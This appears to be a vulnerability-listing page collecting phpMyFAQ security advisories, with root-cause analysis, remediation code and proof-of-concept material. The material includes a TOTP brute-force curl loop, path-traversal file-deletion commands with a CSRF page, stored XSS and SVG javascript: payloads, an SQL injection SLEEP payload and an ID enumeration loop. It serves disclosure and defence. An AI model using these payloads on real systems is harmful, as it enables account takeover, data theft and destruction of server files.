Where
-Infinity
0
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in GroupController::updatePermissions that allows GROUPEDIT administrators to grant arbitrary rights to groups without verifying they hold those rights themselves. A delegated administrator can exploit this by assigning high-value permissions to a group they belong to, inheriting those rights and escalating privileges up to full administrative control.

First published (updated )
Severity
6.9
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

phpMyFAQ before 4.1.5 applies inconsistent active=yes and publication-date filtering across its public FAQ API endpoints, allowing unauthenticated attackers to retrieve inactive (draft or review-only) FAQ content. Specifically, GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer, while GET /api/v3.1/faqs/tags/{tagId} and GET /api/v4.0/faqs/tags/{tagId} return the inactive FAQ title and answer preview, disclosing non-public content.

First published (updated )
Severity
5.1
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

phpMyFAQ before 4.1.5 contains a potential authenticated path traversal vulnerability in the concatenatePaths() function within src/phpMyFAQ/Export/Pdf/Wrapper.php. A user with FAQ editing privileges can store HTML containing crafted image paths that are processed during PDF generation. The path resolution logic locates the substring "content" within a user-controlled path using strpos(); when "content" is absent, strpos() returns false, which becomes 0 when cast to an integer, preserving the entire attacker-controlled path. This path is later passed to filegetcontents() without canonicalization or root-directory containment validation, which may allow reading of files outside the intended content directory.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in the user/add API endpoint that allows non-SuperAdmin administrators to create SuperAdmin accounts. A delegated administrator with USERADD/EDIT/DELETE permissions can call POST /admin/api/user/add with isSuperAdmin: true and attacker-chosen credentials to create a SuperAdmin account, then authenticate as that account to achieve full instance takeover.

First published (updated )
Severity
8.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary The public two-factor verification endpoint POST /check logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate without knowing the password, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.

Details src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:

php #[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }

$token = Filter::filterVar($request->request->get('token'), FILTERSANITIZESPECIALCHARS); $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTERVALIDATEINT);

if ($userId <= 0) { / ... / }

$this->currentUserService->getUserById($userId); // loads attacker-chosen user

if (strlen((string) $token) === 6) { $result = $this->twoFactor->validateToken($token, $userId); if ($result) { $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked return new RedirectResponse(url: './'); } } // ... }

twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):

php public function twoFactorSuccess(): bool { $this->setLoggedIn(true); $this->updateSessionId(true); $this->saveToSession(); $this->setSuccess(true); return true; }

There is no server-side state (such as a "password already verified for this user" flag) tying the /check step to the password step. Compare the admin flow, which does it correctly via a 2fapendinguserid session value set only after the password is validated (src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend omission is a regression, not an intended design.

validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret, so this is not a universal bypass of all accounts — it specifically defeats the password factor of every 2FA-enabled account:

php public function validateToken(string $token, int $userId): bool { if (strlen($token) !== 6 || $userId <= 0) { return false; } $this->currentUser->getUserById($userId); $secret = $this->currentUser->getUserData('secret'); if (!isstring($secret) || $secret === '') { return false; } // no 2FA -> false return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only }

Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to strengthen the password, becomes the only barrier and is independently guessable.

PoC Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric user-id (1 = first/admin account in default installs).

bash No password required. Submit user-id + a 6-digit TOTP guess to /check. Iterate the token space; the session cookie returned on success is an authenticated session. for code in $(seq -w 0 999999); do curl -ks -c jar.txt -b jar.txt \ -X POST "https://target/check" \ --data-urlencode "user-id=1" \ --data-urlencode "token=$(printf '%06d' 10#$code)" \ -o /dev/null -w "%{httpcode} %{redirecturl}\n" \ | grep -q './' && echo "[+] logged in with token $code" && break done A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used). If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.

Impact Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.

1 / 3
Source: GitHub
First published (updated )
Severity
5.3
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

phpMyFAQ before 4.1.10 contains a server-side request forgery vulnerability in the PDF export feature that fetches external images referenced in FAQ answers. Attackers who can influence FAQ content can embed image URLs pointing to loopback or internal services, causing the server to request them and embed responses in generated PDFs.

First published (updated )
Severity
8.7
Path Traversal, CSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H

Summary The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTERSANITIZESPECIALCHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php

Lines 43-66: php #[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])] public function index(Request $request): JsonResponse|Response { $this->userHasPermission(PermissionType::FAQEDIT); // ... $data = jsondecode($request->getContent()); $action = Filter::filterVar($data->action, FILTERSANITIZESPECIALCHARS);

if ($action === 'fileRemove') { $file = Filter::filterVar($data->name, FILTERSANITIZESPECIALCHARS); $file = PMFCONTENTDIR . '/user/images/' . $file;

if (fileexists($file)) { unlink($file); } // Returns success without checking if deletion was within intended directory } }

Root Causes: 1. No path traversal prevention: FILTERSANITIZESPECIALCHARS does not remove or encode ../ sequences. It only encodes HTML special characters. 2. No CSRF protection: The endpoint does not call Token::verifyToken(). Compare with ImageController::upload() which validates CSRF tokens at line 48. 3. No basename() or realpath() validation: The code does not use basename() to strip directory components or realpath() to verify the resolved path stays within the intended directory. 4. HTTP method mismatch: The route is defined as methods: ['GET'] but reads the request body via $request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.

Comparison with secure implementation in the same codebase:

The ImageController::upload() method (same directory) properly validates file names: php if (pregmatch("/([^\w\s\d\-~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) { // Rejects files with path traversal sequences }

The FilesystemStorage::normalizePath() method also properly validates paths:

php foreach ($segments as $segment) { if ($segment === '..' || $segment === '') { throw new StorageException('Invalid storage path.'); } }

PoC

Direct exploitation (requires authenticated admin session): bash Delete the database configuration file curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=validadminsession' \ -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'

Delete the .htaccess file to disable Apache security rules curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=validadminsession' \ -d '{"action":"fileRemove","name":"../../../.htaccess"}'

CSRF exploitation (attacker hosts this HTML page): html <html> <body> <script> fetch('https://target.example.com/admin/api/media-browser', { method: 'GET', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ action: 'fileRemove', name: '../../../content/core/config/database.php' }), credentials: 'include' }); </script> </body> </html>

When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.

Impact

- Server compromise: Deleting content/core/config/database.php causes total application failure (database connection loss). - Security bypass: Deleting .htaccess or web.config can expose sensitive directories and files. - Data loss: Arbitrary file deletion on the server filesystem. - Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.

Remediation

1. Add path traversal validation: php if ($action === 'fileRemove') { $file = basename(Filter::filterVar($data->name, FILTERSANITIZESPECIALCHARS)); $targetPath = realpath(PMFCONTENTDIR . '/user/images/' . $file); $allowedDir = realpath(PMFCONTENTDIR . '/user/images');

if ($targetPath === false || !strstartswith($targetPath, $allowedDir . DIRECTORYSEPARATOR)) { return $this->json(['error' => 'Invalid file path'], Response::HTTPBADREQUEST); }

if (fileexists($targetPath)) { unlink($targetPath); } }

2. Add CSRF protection: php if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) { return $this->json(['error' => 'Invalid CSRF token'], Response::HTTPUNAUTHORIZED); }

3. Change HTTP method to POST or DELETE to align with proper HTTP semantics.

1 / 3
Source: GitHub
First published (updated )
Severity
5.4
Input Validation, XSS
AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An unauthenticated attacker can submit a guest FAQ with an email address that is syntactically valid per RFC 5321 (quoted local part) yet contains raw HTML — for example "<script>alert(1)</script>"@evil.com. PHP's FILTERVALIDATEEMAIL accepts this email as valid. The email is stored in the database without HTML sanitization and later rendered in the admin FAQ editor template using Twig's |raw filter, which bypasses auto-escaping entirely.

Details 1. PHP FILTERVALIDATEEMAIL accepts RFC-valid quoted local parts with dangerous characters

phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php:99 $email = trim((string) Filter::filterVar($data->email, FILTERVALIDATEEMAIL)); PHP accepts "<script>alert(1)</script>"@evil.com as a valid email (RFC 5321 allows <, > inside quoted local parts). Confirmed: "<script>alert(1)</script>"@evil.com => string (valid, not false)

2. Email stored raw without HTML sanitization

phpmyfaq/src/phpMyFAQ/Faq.php — email retrieved directly as $row->email from the database.

3. Admin Twig template renders email with |raw

phpmyfaq/assets/templates/admin/content/faq.editor.twig:296 <input type="email" name="email" id="email" value="{{ faqData['email'] | raw }}" class="form-control">

Affected version: 4.2.0-alpha, commit f0dc86c8f

PoC The reproduction of the vulnerability was implemented with the help of AI while reviewing the source code to generate the proof-of-concept. Please kindly note this for reference. Since the vulnerability has already been confirmed directly in the source code, the proof-of-concept code may be considered as a reference only.

Please extract the attached compressed file and proceed. poc.zip

0. (docker compose -f docker-compose.yml down -v) 1. docker compose -f docker-compose.yml up -d mariadb php-fpm nginx 2. bash exploit.sh ----- 1. Access http://localhost:8888/admin/ 2. Log in with admin / Admin1234! 3. After logging in, check whether the URL remains http://localhost:8888/admin/ 4. Go to Content → FAQ Administration → edit "poc" → alert popup should appear If it does not appear, you can also access it directly via: http://localhost:8888/admin/faq/edit/1/en

<img width="1388" height="239" alt="스크린샷 2026-03-12 오후 11 42 52" src="https://github.com/user-attachments/assets/b6d5446f-4eba-4cb2-9284-1bca4855142e" /> <img width="1171" height="92" alt="스크린샷 2026-03-12 오후 11 16 17" src="https://github.com/user-attachments/assets/3578e429-7106-4616-92ed-4167816d40f0" />

Impact When an administrator opens /admin/faq/edit/{id}/{lang} to review the pending FAQ, the injected script executes in the admin's browser context. This allows an attacker to:

- Steal the administrator's session cookie → full admin account takeover - Perform arbitrary admin actions (create users, modify content, change configuration) - Pivot to further attacks on the server

The attack chain requires no authentication. By default, records.allowNewFaqsForGuests=true allows unauthenticated FAQ submission, and records.defaultActivation=false guarantees the administrator must visit the edit page to review it.

Note on captcha: The built-in captcha is enabled by default when the PHP gd extension is present (spam.enableCaptchaCode=true). This prevents fully automated exploitation but does not prevent a targeted manual attack — an attacker can solve the captcha once and submit the payload.

Credits wooseokdotkim

1 / 3
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

phpMyFAQ before 4.1.10 contains an object-level authorization bypass vulnerability that allows unauthenticated attackers to modify or delete any visitor question by supplying an arbitrary openQuestionID to POST /api/faq/create. Attackers solving the CAPTCHA can rewrite question categories, forge answered entries in faqquestionhistory, or permanently delete questions when records.enableDeleteQuestion is enabled.

First published (updated )
Severity
7.7
SQL Injection
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

CurrentUser::setTokenData() in phpmyfaq/src/phpMyFAQ/User/CurrentUser.php at lines 515-534 builds a SQL UPDATE statement with sprintf and interpolates OAuth token fields (refreshtoken, accesstoken, codeverifier, and jsonencode($token['jwt'])) without calling $db->escape(). Sibling methods setAuthSource() and setRememberMe() in the same file do call $db->escape() on user-controlled values, so the omission is local to this method. An attacker (Bob) whose Azure AD display name contains a single quote (for example O'Brien, or a deliberate SQL payload) breaks out of the string literal and injects arbitrary SQL against the phpMyFAQ database.

Details

Vulnerable code (phpmyfaq/src/phpMyFAQ/User/CurrentUser.php, lines 513-534):

php public function setTokenData(#[\SensitiveParameter] array $token): bool { $update = sprintf( " UPDATE %sfaquser SET refreshtoken = '%s', accesstoken = '%s', codeverifier = '%s', jwt = '%s' WHERE userid = %d", Database::getTablePrefix(), $token['refreshtoken'], $token['accesstoken'], $token['codeverifier'], jsonencode($token['jwt'], JSONTHROWONERROR), $this->getUserId(), );

return (bool) $this->configuration->getDb()->query($update); }

jsonencode() does NOT escape single quotes. A JWT claim such as {"preferredusername": "O'Malley"} produces {"preferredusername":"O'Malley"} after jsonencode, which terminates the SQL string literal at the apostrophe.

Correct pattern in the same file (setAuthSource, line 458-461):

php $update = sprintf( "UPDATE %sfaquser SET authsource = '%s' WHERE userid = %d", Database::getTablePrefix(), $this->configuration->getDb()->escape($authSource), $this->getUserId(), );

setRememberMe() (line 471-478) follows the same safe pattern with $db->escape().

Reachability: The phpMyFAQ Azure AD (Entra ID) OAuth flow calls setTokenData() after token exchange. The token response includes an idtoken whose payload originates from the identity provider. An attacker registers a Microsoft account with a display name or custom claim containing SQL metacharacters. When that user logs into a phpMyFAQ instance with Azure AD auth enabled, the malicious claim flows into the UPDATE without sanitization.

Proof of Concept

Prerequisites: phpMyFAQ instance with Azure AD / Entra ID authentication enabled.

1. Bob registers an Azure AD account with display name x]","email":"x',(SELECT SLEEP(5)))-- -.

2. Bob initiates the OAuth login flow on the target phpMyFAQ.

3. After authorization, the token endpoint returns a JWT with the crafted claim.

4. phpMyFAQ calls setTokenData() with the unsanitized token array. The resulting SQL becomes:

sql UPDATE faquser SET refreshtoken = '<valid>', accesstoken = '<valid>', codeverifier = '<valid>', jwt = '{"preferredusername":"x',(SELECT SLEEP(5)))-- -"}' WHERE userid = 42

The single quote after x closes the jwt string literal. Everything after it executes as attacker-controlled SQL.

5. To confirm time-based blind injection locally (requires modifying the OAuth token response in a proxy):

python import requests

Simulates what happens when the crafted JWT claim reaches the DB In production, this happens automatically through the OAuth flow payload = "x'||(SELECT SLEEP(5))||'"

The interpolated query will pause for 5 seconds, confirming injection print(f"Injected jwt value: {payload}") print("If the login takes 5+ seconds longer than normal, injection succeeded.")

Impact

An attacker who can authenticate via Azure AD with a crafted claim achieves arbitrary SQL execution on the phpMyFAQ database. This permits reading all FAQ data (including restricted entries), modifying or deleting content, and extracting password hashes and session tokens of all users including administrators.

CWE: CWE-89 (SQL Injection)

Recommended Fix

Escape all interpolated values using $this->configuration->getDb()->escape(), matching the pattern used by setAuthSource() and setRememberMe() in the same file:

php public function setTokenData(#[\SensitiveParameter] array $token): bool { $db = $this->configuration->getDb(); $update = sprintf( " UPDATE %sfaquser SET refreshtoken = '%s', accesstoken = '%s', codeverifier = '%s', jwt = '%s' WHERE userid = %d", Database::getTablePrefix(), $db->escape($token['refreshtoken']), $db->escape($token['accesstoken']), $db->escape($token['codeverifier']), $db->escape(jsonencode($token['jwt'], JSONTHROWONERROR)), $this->getUserId(), );

return (bool) $db->query($update); }

--- Found by aisafe.io

1 / 3
Source: GitHub
First published (updated )
Severity
8.3
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Summary

A stored XSS vulnerability in the comment rendering pipeline allows an authenticated user to inject JavaScript that executes for every visitor of an affected FAQ or News page. An attacker with a registered account can steal admin session cookies and take over the application.

Details

Utils::parseUrl() (phpmyfaq/src/phpMyFAQ/Utils.php, line 281) converts URLs in comment text into clickable <a> tags at render time:

$pattern = '/(https?:\/\/[^\s]+)/i'; $replacement = '<a href="$1">$1</a>'; return pregreplace($pattern, $replacement, $string);

The regex [^\s]+ matches " and <, and the URL is inserted into the href attribute with no htmlspecialchars() call. A URL with a literal " closes the attribute early and allows injecting event handlers like onmouseover.

This only reaches the sink when main.enableCommentEditor is enabled. In that path, comment text goes through sanitizeHtmlComment() instead of FILTERSANITIZESPECIALCHARS — which encodes " — so the double-quote survives to storage. The comment is then passed through parseUrl() and rendered via {{ comment.comment|raw }} in comment.macros.twig (line 40), which disables Twig auto-escaping.

The same sink exists in the admin comment panel (admin/content/comments.twig, lines 62 and 112), so admins viewing the panel are also affected.

No Content-Security-Policy headers are set anywhere in the app.

PoC

Requirements: - main.enableCommentEditor = true (set in admin Configuration panel) - attacker has any registered user account - one FAQ entry with comments allowed exists

Steps: 1. Log in as a registered user and open a FAQ with comments. 2. Submit the following as the comment text:

https://www.evil.com/"onmouseover="alert(document.cookie)

(www. prefix required — parseUrl strips https:// then only re-adds it for www. URLs, which is what triggers the linkification)

3. Any user who views that FAQ page and hovers the link triggers the payload. To hit an admin, wait for them to visit the page or check the admin comments panel at /admin/content/comments.

Resulting HTML in the page:

<a href="https://www.evil.com/"onmouseover="alert(document.cookie)"> ... </a>

The " closes the href attribute; onmouseover becomes a real attribute.

Impact

Stored XSS affecting all visitors of the page, including admins. Session cookie theft leads to full admin account takeover. The payload looks like a normal URL and persists until manually deleted.

1 / 3
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The public /solutionid{id}.html route calls Faq::getIdFromSolutionId() in phpmyfaq/src/phpMyFAQ/Faq.php:1312. That query joins faqdata with faqcategoryrelations solely by solutionid and returns the matching FAQ's id, lang, thema (title), and categoryid with no permission filter. An unauthenticated visitor hits the route with a sequential integer and the server 301-redirects to /content/<category>/<id>/<lang>/<title-slug>.html, leaking the FAQ's existence, internal id, language, category binding, and title via the redirect's Location header and the redirected page's canonical link, share-to-social URLs, and hidden form fields. The related getFaqBySolutionId() at line 1221 contains an explicit fallback query (added "for tests") that also bypasses the permission filter, widening the blast radius to any callsite that trusts its result.

Details

The sink: getIdFromSolutionId() has no permission filter

phpmyfaq/src/phpMyFAQ/Faq.php:1312:

php public function getIdFromSolutionId(int $solutionId): array { $query = sprintf( 'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.categoryid FROM %sfaqdata fd LEFT JOIN %sfaqcategoryrelations fcr ON fd.id = fcr.recordid AND fd.lang = fcr.recordlang WHERE fd.solutionid = %d', Database::getTablePrefix(), Database::getTablePrefix(), $solutionId, ); // ... }

No WHERE-clause permission filter, no group/user filter. Every callsite that trusts this method exposes restricted FAQs. The route at phpmyfaq/src/phpMyFAQ/Controller/Frontend/FaqController.php:172 uses this result to compute a slugified URL and 301-redirects to it:

php #[Route(path: '/solutionid{solutionId}.html', name: 'public.faq.solution', methods: ['GET'])] public function solution(Request $request): Response { $solutionId = Filter::filterVar($request->attributes->get('solutionId'), FILTERVALIDATEINT, 0); // ... $faqData = $this->faq->getIdFromSolutionId($solutionId); if ($faqData === []) { return new Response('', Response::HTTPNOTFOUND); } $slug = TitleSlugifier::slug($faqData['question']); $url = sprintf('/content/%d/%d/%s/%s.html', $faqData['categoryid'], $faqData['id'], $faqData['lang'], $slug); return new RedirectResponse($url, Response::HTTPMOVEDPERMANENTLY); }

The redirect URL embeds the title slug, so an unauthenticated visitor observes the title directly even though the canonical /content/<...>.html page may deny rendering the body.

Related sink: getFaqBySolutionId() explicitly falls back without the filter

phpmyfaq/src/phpMyFAQ/Faq.php:1256-1265:

php if (false === $row || null === $row) { // Fallback without permission filter to ensure retrieval in non-authenticated contexts (e.g., tests) $fallbackQuery = sprintf( 'SELECT FROM %sfaqdata fd WHERE fd.solutionid = %d LIMIT 1', Database::getTablePrefix(), $solutionId, ); $fallbackResult = $this->configuration->getDb()->query($fallbackQuery); $row = $this->configuration->getDb()->fetchObject($fallbackResult); }

The inline comment confirms the fallback was introduced for test convenience. In production, the fallback fires exactly when the permission-filtered query returns zero rows (because the caller is unauthenticated or lacks group/user permission) and populates every field of faqRecord, including content, keywords, author, email, and notes. Downstream consumers that expect faqRecord to respect ACLs no longer do.

Entry enumeration

Solution IDs are monotonically increasing integers (faqdata.solutionid). An attacker enumerates /solutionid<n>.html from 1 upward and records every non-404 response to discover the full set of FAQs on the instance, including ones restricted to admin-only groups or specific users.

Proof of Concept

Prerequisites: a phpMyFAQ instance has at least one FAQ record restricted to a specific user or group via faqdatauser / faqdatagroup. Note its solutionid, which is assigned sequentially starting from a six-digit base.

Step 1. Anonymous GET of the solution URL:

bash curl -sS -L -o /tmp/out.html -w 'HTTP %{httpcode}\n' \ 'http://<host>/solutionid<restricted-solution-id>.html'

Step 2. Observe the 301 redirect that getIdFromSolutionId() returns. The Location header carries the slugified title of the restricted FAQ directly in the URL path:

HTTP/1.1 301 Moved Permanently Location: /content/<category-id>/<record-id>/<lang>/<title-slug>.html

Step 3. The redirected content page embeds the same metadata in client-controlled sinks, even when the body rendering is suppressed by a separate permission check:

html <link rel="canonical" href="http://<host>/content/<category-id>/<record-id>/<lang>/<title-slug>.html"> <input type="hidden" name="voting-id" value="<record-id>"> <a href="http://<host>/pdf/<category-id>/<record-id>/<lang>">...</a>

Step 4. Enumerate solution IDs to discover every FAQ on the instance, including those the permission model intended to hide:

bash for id in $(seq 1 100000); do code=$(curl -sS -o /dev/null -w '%{httpcode}' "http://<host>/solutionid${id}.html") if [ "$code" = "301" ]; then loc=$(curl -sSI "http://<host>/solutionid${id}.html" | awk -F': ' '/^Location:/{print $2}' | tr -d '\r') echo "solutionid=${id} -> ${loc}" fi done

Each 301 response's Location header reveals category, id, language, and title of a FAQ whose existence the permission model meant to hide.

Impact

Any unauthenticated visitor discovers the full set of FAQ entries on the instance, including the subset restricted to specific groups or users, and reads the title of every restricted FAQ. Deployments that use phpMyFAQ to host internal-only content alongside public content (staff knowledge bases, internal SOPs, confidential customer notes) lose the confidentiality of titles and of the fact that those FAQs exist. Slugified titles often encode the subject directly (for example q3-layoff-plan, aws-root-key-rotation), so the title alone can be sensitive.

The body content is usually still served through a separate permission-enforcing path on the canonical /content/<...>.html URL, so full-body disclosure requires the caller to also defeat that path (for example by combining with a session from any low-privilege account). The title-plus-existence leak is sufficient on its own to harm confidentiality in deployments where titles encode what the FAQ is about.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (Medium, 5.3). CWE-863.

Recommended Fix

Add a permission filter to getIdFromSolutionId() the same way getFaqBySolutionId() builds one for its primary query (using QueryHelper::queryPermission()):

php public function getIdFromSolutionId(int $solutionId): array { $queryHelper = new QueryHelper($this->user, $this->groups); $query = sprintf( 'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.categoryid FROM %sfaqdata fd LEFT JOIN %sfaqcategoryrelations fcr ON fd.id = fcr.recordid AND fd.lang = fcr.recordlang LEFT JOIN ( SELECT recordid, groupid FROM %sfaqdatagroup fdg WHERE fdg.groupid <> -1 UNION ALL SELECT fd.id AS recordid, -1 AS groupid FROM %sfaqdata fd WHERE fd.solutionid = %d ) AS fdg ON fd.id = fdg.recordid LEFT JOIN %sfaqdatauser fdu ON fd.id = fdu.recordid WHERE fd.solutionid = %d %s', Database::getTablePrefix(), Database::getTablePrefix(), Database::getTablePrefix(), Database::getTablePrefix(), $solutionId, Database::getTablePrefix(), $solutionId, $queryHelper->queryPermission($this->groupSupport), ); // ... }

Separately, remove the unconditional fallback in getFaqBySolutionId() at Faq.php:1256-1265. If the permission-filtered query returns no rows, the FAQ is not visible to this caller; the method should leave faqRecord empty rather than re-query without the filter. If tests rely on the old behavior, replace the production fallback with a dedicated test helper or a flag that is disabled outside test bootstrap.

--- Found by aisafe.io

1 / 3
Source: GitHub
First published (updated )
Severity
5.1
XSS, CSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

The SvgSanitizer::decodeAllEntities() method limits recursive entity decoding to 5 iterations. By wrapping each character of javascript in an href attribute value with 5 levels of &amp; encoding around numeric HTML entities (e.g., &amp;amp;amp;amp;amp;#106; for j), an attacker can bypass both isSafe() detection and sanitize() removal. The uploaded SVG is served from the application origin with image/svg+xml content type, and the browser's XML parser fully decodes the remaining &#NNN; entities, resulting in a clickable javascript: link that executes arbitrary JavaScript.

Details

Root cause: decodeAllEntities() at phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 limits entity decoding to maxIterations=5. Each iteration: (1) decodes &#NNN; numeric entities, (2) decodes &#xHH; hex entities, (3) calls htmlentitydecode() which resolves one level of &amp; → &. With 5 levels of &amp; wrapping, all 5 iterations are consumed unwinding the &amp; nesting, leaving the final &#NNN; numeric entities unresolved.

Code path:

1. Authenticated user with FAQEDIT permission uploads SVG via POST /admin/api/content/images (ImageController::upload() at line 39) 2. File extension is svg → SvgSanitizer::isSafe() called (line 114) 3. isSafe() calls decodeAllEntities() — 5 iterations resolve &amp; nesting but leave &#106;&#97;... (numeric entities for javascript) 4. Pattern matching at line 47 (/href\s=\s["\'][\s]javascript\s:/i) does not match &#106;&#97;... 5. isSafe() returns true — file saved without any sanitization 6. SVG served directly by web server from content/user/images/ with image/svg+xml MIME type 7. Browser's XML parser decodes &#106; → j, &#97; → a, etc., reconstructing javascript:alert(document.domain) 8. User clicks the SVG link → JavaScript executes in the phpMyFAQ origin

The bypass is even simpler than initially described — no <script> decoy tag is needed. Since isSafe() itself is bypassed, the file is stored without sanitization and the sanitize() code path is never reached.

Relevant code in decodeAllEntities():

php // phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 private function decodeAllEntities(string $content): string { $previous = ''; $decoded = $content; $maxIterations = 5; // <-- insufficient for 5 levels of &amp; + numeric entity

while ($decoded !== $previous && $maxIterations-- > 0) { $previous = $decoded; // Step 1: Decode decimal entities (&#106; → j) $decoded = pregreplacecallback('/&#(\d+);/', ...); // Step 2: Decode hex entities (&#x6A; → j) $decoded = pregreplacecallback('/&#x([0-9a-fA-F]+);/', ...); // Step 3: Decode named HTML entities (&amp; → &) $decoded = htmlentitydecode($decoded, ENTQUOTES | ENTHTML5, 'UTF-8'); } // After 5 iterations with 5 &amp; levels: &#106; remains undecoded return pregreplace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', '', $decoded); }

PoC

Upload an SVG file containing a javascript: href where each character of javascript is entity-encoded with 5 levels of &amp; nesting around numeric entities. No <script> decoy is required — isSafe() itself is bypassed.

Step 1: Create malicious SVG file (xss.svg):

xml <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200"> <a href="&amp;amp;amp;amp;amp;#106;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#118;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#115;&amp;amp;amp;amp;amp;#99;&amp;amp;amp;amp;amp;#114;&amp;amp;amp;amp;amp;#105;&amp;amp;amp;amp;amp;#112;&amp;amp;amp;amp;amp;#116;:alert(document.domain)"> <circle cx="100" cy="100" r="80" fill="red"/> <text x="100" y="110" text-anchor="middle" fill="white" font-size="20">Click me</text> </a> </svg>

Step 2: Upload via admin image upload endpoint:

bash curl -b 'sessioncookie' \ -F "files[]=@xss.svg" \ "https://TARGET/admin/api/content/images?csrf=VALIDTOKEN"

Expected response: {"success": true, ...} with the uploaded file URL.

Step 3: Access the uploaded SVG directly:

https://TARGET/content/user/images/1712345678xss.svg

The browser renders the SVG as image/svg+xml. The XML parser decodes &#106; → j, &#97; → a, etc., producing href="javascript:alert(document.domain)". Clicking the red circle executes JavaScript in the phpMyFAQ origin.

Impact

- Stored XSS: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin. - Session hijacking: Attacker can steal session cookies and CSRF tokens of other admins. - Privilege escalation: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control. - Data exfiltration: Access to all FAQ content, user data, and configuration accessible through the admin interface.

The blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.

Recommended Fix

The root cause is that decodeAllEntities() can be exhausted by deeply nested &amp; encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:

php // phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities() private function decodeAllEntities(string $content): string { $previous = ''; $decoded = $content; $maxIterations = 10; // Increase from 5 to handle deeper nesting

